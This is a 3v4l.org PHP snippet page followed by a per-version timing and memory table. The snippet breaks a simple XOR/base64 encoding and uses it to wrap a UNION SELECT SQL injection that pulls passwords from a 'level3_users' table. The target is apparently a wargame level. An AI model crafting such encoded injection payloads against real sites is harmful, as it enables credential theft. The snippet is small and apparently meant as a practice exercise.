3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,password,7 FROM level3_users WHERE username=TheCow #"); print "\n"; print "\n"; #$handle = opendir('/'); #while (($file = readdir($handle)) !== false) # print $file. "\n"; #closedir($handle); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00418.52
8.3.50.0120.00821.27
8.3.40.0100.00618.92
8.3.30.0090.00618.95
8.3.20.0030.00519.03
8.3.10.0080.00019.46
8.3.00.0040.00421.80
8.2.180.0090.00616.50
8.2.170.0030.01722.96
8.2.160.0040.01120.35
8.2.150.0000.00824.18
8.2.140.0030.00524.66
8.2.130.0040.00426.16
8.2.120.0080.00020.94
8.2.110.0100.00022.11
8.2.100.0120.00317.97
8.2.90.0050.00319.35
8.2.80.0000.00817.97
8.2.70.0030.00617.88
8.2.60.0030.00518.04
8.2.50.0080.00018.07
8.2.40.0060.00319.95
8.2.30.0000.00718.13
8.2.20.0050.00318.01
8.2.10.0040.00417.92
8.2.00.0070.00417.89
8.1.280.0080.00825.92
8.1.270.0000.00823.99
8.1.260.0110.00726.35
8.1.250.0000.00728.09
8.1.240.0030.00623.79
8.1.230.0000.01119.27
8.1.220.0030.00617.74
8.1.210.0040.00418.77
8.1.200.0100.00317.38
8.1.190.0000.00817.38
8.1.180.0000.00818.10
8.1.170.0000.00818.84
8.1.160.0040.00422.16
8.1.150.0040.00418.70
8.1.140.0040.00417.56
8.1.130.0000.00717.93
8.1.120.0050.00217.67
8.1.110.0060.00317.65
8.1.100.0060.00317.61
8.1.90.0070.00017.61
8.1.80.0000.00817.69
8.1.70.0030.00317.53
8.1.60.0030.00617.68
8.1.50.0000.00917.68
8.1.40.0050.00317.72
8.1.30.0030.00617.86
8.1.20.0040.00417.85
8.1.10.0030.00617.75
8.1.00.0050.00317.74
8.0.300.0060.00318.77
8.0.290.0000.00717.00
8.0.280.0040.00418.52
8.0.270.0040.00417.23
8.0.260.0050.00316.88
8.0.250.0070.00017.14
8.0.240.0040.00417.03
8.0.230.0000.00717.04
8.0.220.0030.00616.91
8.0.210.0000.00717.04
8.0.200.0050.00317.00
8.0.190.0040.00417.08
8.0.180.0000.00717.00
8.0.170.0050.00317.08
8.0.160.0000.00717.14
8.0.150.0070.00016.90
8.0.140.0000.00816.99
8.0.130.0000.00513.38
8.0.120.0030.00517.07
8.0.110.0000.00717.10
8.0.100.0050.00217.05
8.0.90.0040.00416.96
8.0.80.0120.00917.12
8.0.70.0000.00817.07
8.0.60.0000.00717.06
8.0.50.0080.00017.05
8.0.30.0100.00917.33
8.0.20.0090.00917.40
8.0.10.0040.00417.16
8.0.00.0090.00917.14
7.4.330.0050.00016.69
7.4.320.0000.00716.75
7.4.300.0070.00016.89
7.4.290.0000.00716.85
7.4.280.0030.00416.85
7.4.270.0000.00716.68
7.4.260.0000.00613.41
7.4.250.0050.00316.82
7.4.240.0040.00416.84
7.4.230.0030.00316.95
7.4.220.0060.01216.82
7.4.210.0060.00816.85
7.4.200.0040.00416.64
7.4.190.0070.00016.94
7.4.160.0080.01116.70
7.4.150.0150.00317.40
7.4.140.0060.01417.86
7.4.130.0090.00916.77
7.4.120.0100.00816.79
7.4.110.0090.00916.74
7.4.100.0130.00316.67
7.4.90.0110.00716.89
7.4.80.0130.01019.39
7.4.70.0090.00616.60
7.4.60.0060.01316.76
7.4.50.0040.00416.62
7.4.40.0030.00922.77
7.4.30.0110.00616.81
7.4.10.0080.00416.62
7.4.00.0020.00916.01
7.3.330.0050.00013.50
7.3.320.0000.00613.54
7.3.310.0000.00716.59
7.3.300.0000.00716.53
7.3.290.0070.00716.58
7.3.280.0080.01116.55
7.3.270.0060.01217.40
7.3.260.0140.00318.24
7.3.250.0050.01616.54
7.3.240.0060.01016.93
7.3.230.0070.01316.91
7.3.210.0120.00616.50
7.3.200.0120.00619.39
7.3.190.0160.00016.71
7.3.180.0130.00316.98
7.3.170.0040.01216.52
7.3.160.0100.00716.65
7.3.130.0080.00416.59
7.3.120.0050.01315.85
7.3.110.0050.01115.89
7.3.100.0130.00515.86
7.3.90.0020.01115.72
7.3.80.0080.00715.82
7.3.70.0050.00715.85
7.3.60.0080.00615.81
7.3.50.0040.00715.85
7.3.40.0070.00415.79
7.3.30.0050.00915.79
7.3.20.0040.00917.64
7.3.10.0070.00517.39
7.3.00.0090.00417.39
7.2.330.0110.00716.88
7.2.320.0030.01416.82
7.2.310.0080.01116.93
7.2.300.0070.01117.05
7.2.290.0110.00616.90
7.2.260.0080.00616.75
7.2.250.0060.01316.85
7.2.240.0100.00516.08
7.2.230.0050.00716.03
7.2.220.0050.01216.18
7.2.210.0050.00916.10
7.2.200.0050.01216.01
7.2.190.0050.01016.01
7.2.180.0040.01115.92
7.2.170.0090.00616.04
7.2.160.0090.00316.16
7.2.150.0050.00817.84
7.2.140.0080.00817.86
7.2.130.0040.01217.60
7.2.120.0050.00917.56
7.2.110.0060.00917.59
7.2.100.0050.00817.55
7.2.90.0070.00817.53
7.2.80.0050.00817.66
7.2.70.0050.01017.63
7.2.60.0060.00817.43
7.2.50.0060.00917.58
7.2.40.0040.01117.60
7.2.30.0080.00517.61
7.2.20.0030.01117.53
7.2.10.0090.00817.49
7.2.00.0080.00617.64
7.1.330.0080.00716.74
7.1.320.0060.00916.86
7.1.310.0080.00616.76
7.1.300.0080.00516.75
7.1.290.0050.00716.65
7.1.280.0030.01116.72
7.1.270.0030.01016.77
7.1.260.0030.01216.78
7.1.250.0050.00716.36
7.1.240.0080.00316.54
7.1.230.0080.00516.85
7.1.220.0070.00416.64
7.1.210.0040.01016.62
7.1.200.0090.00416.46
7.1.190.0050.00916.74
7.1.180.0060.00416.73
7.1.170.0060.00716.85
7.1.160.0020.01016.67
7.1.150.0050.00816.63
7.1.140.0090.00516.75
7.1.130.0060.00816.93
7.1.120.0080.00816.67
7.1.110.0050.00816.70
7.1.100.0060.00716.63
7.1.90.0070.00616.92
7.1.80.0050.00816.84
7.1.70.0060.00516.96
7.1.60.0030.01417.63
7.1.50.0050.00916.85
7.1.40.0060.00616.61
7.1.30.0110.00516.78
7.1.20.0050.00816.65
7.1.10.0060.00616.72
7.1.00.0060.01418.61
7.0.330.0050.00616.34
7.0.320.0060.00616.26
7.0.310.0070.00716.26
7.0.300.0080.00416.28
7.0.290.0050.01016.33
7.0.280.0000.01216.27
7.0.270.0030.00916.23
7.0.260.0020.00916.26
7.0.250.0070.00516.47
7.0.240.0040.00716.43
7.0.230.0060.01016.34
7.0.220.0040.00716.22
7.0.210.0050.00916.35
7.0.200.0020.00916.49
7.0.190.0030.00616.36
7.0.180.0080.00316.39
7.0.170.0060.00516.35
7.0.160.0030.01016.36
7.0.150.0030.00916.35
7.0.140.0050.02718.34
7.0.130.0050.01016.43
7.0.120.0080.00616.30
7.0.110.0050.00716.47
7.0.100.0090.00616.13
7.0.90.0070.00616.36
7.0.80.0000.01016.07
7.0.70.0290.03317.60
7.0.60.0220.03117.57
7.0.50.0290.03417.62
7.0.40.0070.02416.36
7.0.30.0060.03416.28
7.0.20.0070.03216.25
7.0.10.0090.02916.33
7.0.00.0070.03116.24
5.6.400.0000.01016.12
5.6.390.0030.00616.26
5.6.380.0050.00515.45
5.6.370.0080.00615.24
5.6.360.0040.00815.36
5.6.350.0100.00315.28
5.6.340.0010.00815.26
5.6.330.0070.00415.23
5.6.320.0010.01515.27
5.6.310.0060.00515.29
5.6.300.0030.01015.60
5.6.290.0050.00515.02
5.6.280.0060.02917.08
5.6.270.0080.00415.52
5.6.260.0090.00615.12
5.6.250.0070.01115.37
5.6.240.0040.01115.24
5.6.230.0050.00615.54
5.6.220.0060.01817.06
5.6.210.0130.02717.12
5.6.200.0020.03217.20
5.6.190.0090.01717.17
5.6.180.0060.02117.17
5.6.170.0080.03117.06
5.6.160.0130.02717.16
5.6.150.0060.03517.22
5.6.140.0100.02817.12
5.6.130.0040.03717.14
5.6.120.0050.03417.21
5.6.110.0060.03517.12
5.6.100.0080.03317.10
5.6.90.0040.03617.22
5.6.80.0100.03216.95
5.6.70.0040.03216.81
5.6.60.0040.01816.91
5.6.50.0030.02516.93
5.6.40.0060.01917.03
5.6.30.0010.02516.95
5.6.20.0080.02016.90
5.6.10.0030.02316.87
5.6.00.0060.02316.88
5.5.380.0040.00713.77
5.5.370.0030.00713.44
5.5.360.0040.03515.87
5.5.350.0070.02415.96
5.5.340.0020.02915.98
5.5.330.0040.03016.06
5.5.320.0070.01516.07
5.5.310.0050.03316.07
5.5.300.0090.03016.17
5.5.290.0020.03216.01
5.5.280.0040.03516.06
5.5.270.0060.03516.11
5.5.260.0100.03216.08
5.5.250.0030.03415.88
5.5.240.0050.03115.81
5.5.230.0060.02315.81
5.5.220.0060.02415.79
5.5.210.0050.01915.92
5.5.200.0060.01415.87
5.5.190.0020.02115.74
5.5.180.0050.01915.84
5.5.170.0040.00713.62
5.5.160.0040.02015.78
5.5.150.0060.01615.79
5.5.140.0040.01715.82
5.5.130.0030.01815.88
5.5.120.0020.02015.94
5.5.110.0090.02015.72
5.5.100.0060.01815.77
5.5.90.0010.02215.83
5.5.80.0030.01915.83
5.5.70.0030.02115.70
5.5.60.0080.01615.63
5.5.50.0050.02115.60
5.5.40.0070.01715.65
5.5.30.0030.01915.84
5.5.20.0060.01715.74
5.5.10.0020.03015.74
5.5.00.0050.02015.73
5.4.450.0100.02214.47
5.4.440.0000.03514.34
5.4.430.0050.01914.56
5.4.420.0050.02814.48
5.4.410.0070.02514.49
5.4.400.0070.02514.36
5.4.390.0050.03314.32
5.4.380.0010.02114.29
5.4.370.0050.02314.29
5.4.360.0070.03014.21
5.4.350.0020.01914.13
5.4.340.0070.01514.28
5.4.330.0040.00711.85
5.4.320.0030.02114.17
5.4.310.0080.01214.42
5.4.300.0050.01614.39
5.4.290.0040.01514.40
5.4.280.0010.02014.32
5.4.270.0060.01814.45
5.4.260.0030.01814.33
5.4.250.0040.01514.23
5.4.240.0030.02014.31
5.4.230.0030.01914.27
5.4.220.0040.01814.33
5.4.210.0040.01814.32
5.4.200.0040.01914.38
5.4.190.0080.01514.24
5.4.180.0050.02614.29
5.4.170.0040.01914.26
5.4.160.0040.01714.43
5.4.150.0040.01914.24
5.4.140.0010.01913.49
5.4.130.0070.01313.63
5.4.120.0040.01713.48
5.4.110.0050.01513.59
5.4.100.0020.01913.48
5.4.90.0050.01813.47
5.4.80.0040.01713.49
5.4.70.0030.01713.48
5.4.60.0050.01513.40
5.4.50.0040.01313.52
5.4.40.0040.02313.52
5.4.30.0070.02113.56
5.4.20.0030.01513.58
5.4.10.0030.01913.48
5.4.00.0020.01913.28
5.3.290.0050.01612.92
5.3.280.0030.02012.72
5.3.270.0060.01612.81
5.3.260.0030.01712.96
5.3.250.0060.01412.86
5.3.240.0060.01612.82
5.3.230.0030.01912.75
5.3.220.0060.01312.83
5.3.210.0030.01712.73
5.3.200.0000.02112.75
5.3.190.0010.02012.77
5.3.180.0000.02312.85
5.3.170.0060.01412.88
5.3.160.0040.01612.88
5.3.150.0040.01712.92
5.3.140.0020.01912.89
5.3.130.0030.01812.88
5.3.120.0040.01612.75
5.3.110.0020.01912.83
5.3.100.0020.01612.70
5.3.90.0010.01812.67
5.3.80.0010.02112.47
5.3.70.0070.02812.45
5.3.60.0080.02612.64
5.3.50.0070.02212.48
5.3.40.0060.02412.48
5.3.30.0030.02912.53
5.3.20.0040.03112.51
5.3.10.0050.02712.26
5.3.00.0070.01812.23
5.2.170.0040.02710.45
5.2.160.0030.02010.45
5.2.150.0070.03510.47
5.2.140.0050.03310.37
5.2.130.0040.02610.21
5.2.120.0060.03110.34
5.2.110.0040.03410.26
5.2.100.0030.03410.31
5.2.90.0040.03410.30
5.2.80.0000.03010.35
5.2.70.0090.02810.21
5.2.60.0070.03210.24
5.2.50.0030.03410.23
5.2.40.0070.02810.28
5.2.30.0020.03710.05
5.2.20.0020.03510.18
5.2.10.0110.0289.98
5.2.00.0020.0369.99
5.1.60.0030.0319.71
5.1.50.0050.0209.71
5.1.40.0030.0319.63
5.1.30.0030.0259.82
5.1.20.0000.0299.67
5.1.10.0020.0299.74
5.1.00.0030.0269.66
5.0.50.0020.0269.61
5.0.40.0040.0149.61
5.0.30.0030.0279.61
5.0.20.0020.0279.61
5.0.10.0020.0259.61
5.0.00.0010.0339.61
4.4.90.0100.0139.61
4.4.80.0030.0209.61
4.4.70.0030.0189.61
4.4.60.0040.0179.61
4.4.50.0020.0209.61
4.4.40.0030.0289.61
4.4.30.0000.0229.61
4.4.20.0020.0209.61
4.4.10.0020.0209.61
4.4.00.0020.0309.61
4.3.110.0030.0239.61
4.3.100.0060.0159.61
4.3.90.0020.0209.61
4.3.80.0060.0259.61
4.3.70.0040.0199.61
4.3.60.0050.0159.61
4.3.50.0020.0229.61
4.3.40.0030.0289.61
4.3.30.0010.0169.61
4.3.20.0010.0219.61
4.3.10.0050.0189.61
4.3.00.0040.0189.61

preferences:
38.12 ms | 401 KiB | 5 Q